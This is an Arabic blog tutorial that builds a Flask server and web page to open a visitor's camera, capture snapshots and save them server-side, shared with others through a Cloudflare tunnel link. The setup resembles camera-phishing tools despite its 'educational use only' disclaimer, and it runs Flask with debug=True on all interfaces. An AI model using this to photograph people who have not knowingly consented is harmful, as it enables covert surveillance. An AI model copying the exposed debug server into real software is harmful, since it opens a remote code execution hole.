🎥 مشروع تشغيل كاميرا الجهاز والتقاط الصور عبر المتصفح

- فبراير 05, 2025

📌 وصف المشروع

هذا المشروع عبارة عن صفحة ويب بسيطة تتيح للمستخدم تشغيل الكاميرا والتقاط صورة عبر المتصفح، ثم يتم إرسال الصورة إلى السيرفر وحفظها تلقائيًا. يعتمد على JavaScript في تشغيل الكاميرا والتقاط الصورة، وFlask (بايثون) في إدارة البيانات وحفظ الصور.

🚀 مميزاته:
✅ لا يحتاج إلى تحميل أي برامج، فقط متصفح الإنترنت.
✅ يعمل على جميع الأجهزة (كمبيوتر، هاتف، تابلت).
✅ يستخدم Flask كسيرفر ويب خفيف وسريع.
✅ بديل لـ ngrok: سنستخدم خدمة Cloudflare Tunnel، وهي أكثر استقرارًا وأمانًا.

⚠️ تحذير: يجب استخدام هذا المشروع للأغراض التعليمية فقط وفي بيئة قانونية!

🛠️ 1. تثبيت الأدوات المطلوبة

📌 أولًا، تأكد من أن لديك Python مثبتًا، ثم قم بتثبيت Flask لتشغيل السيرفر:

bash
pip install flask

📌 ثانيًا، سنستخدم Cloudflare Tunnel بدلًا من ngrok لأنه أكثر استقرارًا:

أنشئ حسابًا على Cloudflare إذا لم يكن لديك واحد.
ثبت Cloudflare Tunnel عبر تشغيل هذا الأمر في التيرمينال:
```
bash
npm install -g cloudflared
```
سجّل الدخول إلى حسابك على Cloudflare:
```
bash
cloudflared login
```
بعد تسجيل الدخول، شغّل:
```
bash
cloudflared tunnel --url http://127.0.0.1:5000
```
📌 سيعطيك رابط عام يمكنك إرساله للآخرين! 🚀

📝 2. إنشاء صفحة HTML + JavaScript لتشغيل الكاميرا والتقاط الصور

📌 أنشئ مجلدًا باسم templates داخل مجلد المشروع، ثم أنشئ داخله ملفًا باسم index.html وأضف الكود التالي:

html
<!DOCTYPE html>
<html lang="ar">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>📷 تشغيل الكاميرا والتقاط الصور</title>
</head>
<body>
    <h2>🎥 اضغط على الزر لتشغيل الكاميرا</h2>
    <video id="video" width="400" height="300" autoplay></video>
    <button id="capture">📸 التقاط صورة</button>
    <canvas id="canvas" width="400" height="300" style="display: none;"></canvas>

    <script>
        // 📌 تشغيل الكاميرا
        navigator.mediaDevices.getUserMedia({ video: true })
            .then(function(stream) {
                document.getElementById("video").srcObject = stream;
            })
            .catch(function(err) {
                console.log("⚠️ حدث خطأ: " + err);
            });

        // 📌 التقاط الصورة وإرسالها إلى السيرفر
        document.getElementById("capture").addEventListener("click", function() {
            let video = document.getElementById("video");
            let canvas = document.getElementById("canvas");
            let context = canvas.getContext("2d");

            context.drawImage(video, 0, 0, 400, 300);
            let imageData = canvas.toDataURL("image/png");
            console.log(imageData);  // ✅ تأكد من أن الصورة تُرسل بشكل صحيح

            fetch("/upload", {
                method: "POST",
                body: JSON.stringify({ image: imageData }),
                headers: { "Content-Type": "application/json" }
            }).then(response => response.text())
              .then(data => alert(data));
        });
    </script>
</body>
</html>

🖥️ 3. إنشاء سيرفر Flask لمعالجة الصور

📌 أنشئ ملف server.py وضع فيه الكود التالي:

python
from flask import Flask, render_template, request
import base64

app = Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/upload', methods=['POST'])
def upload():
    try:
        data = request.json['image']
        print("[📸] صورة مستلمة من المستخدم")  # ✅ تأكيد استقبال الصورة
        image_data = base64.b64decode(data.split(',')[1])

        with open("captured_image.png", "wb") as f:
            f.write(image_data)
        
        return "✅ تم التقاط الصورة وحفظها بنجاح!"
    except Exception as e:
        print(f"⚠️ خطأ: {e}")
        return "❌ حدث خطأ أثناء معالجة الصورة!", 500

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

🚀 4. تشغيل السيرفر واختبار المشروع

📌 افتح Terminal أو CMD، وانتقل إلى مجلد المشروع، ثم شغل:

bash
python server.py

📌 ستظهر رسالة تخبرك أن السيرفر يعمل على:

cpp
http://127.0.0.1:5000

📌 افتح المتصفح وانتقل إلى هذا الرابط لتشغيل الكاميرا والتقاط الصور!

🌍 5. مشاركة الرابط عبر الإنترنت باستخدام Cloudflare Tunnel

📌 شغل هذا الأمر لتوليد رابط عام يمكن لأي شخص الوصول إليه:

bash
cloudflared tunnel --url http://127.0.0.1:5000

📌 ستحصل على رابط مثل:

arduino
https://your-link.cloudflare-tunnel.com

📤 يمكنك مشاركة هذا الرابط مع أي شخص، وعند فتحه سيتم تشغيل الكاميرا والتقاط صورة!

📂 6. العثور على الصور الملتقطة

جميع الصور يتم حفظها في نفس مجلد المشروع باسم:


captured_image.png

📷 كل مرة يلتقط المستخدم صورة جديدة، سيتم استبدال الصورة السابقة.

📢 🎯 الخلاصة

✅ الآن لديك أداة تقوم بتشغيل كاميرا الزائر والتقاط صورة عبر المتصفح وحفظها على السيرفر!
✅ تم استبدال ngrok بـ Cloudflare Tunnel لمشاركة الرابط بشكل أكثر أمانًا واستقرارًا.
✅ تم اختبار الكود والتأكد من أنه يعمل بدون مشاكل.

monsif hmouri

Monsif Hmouri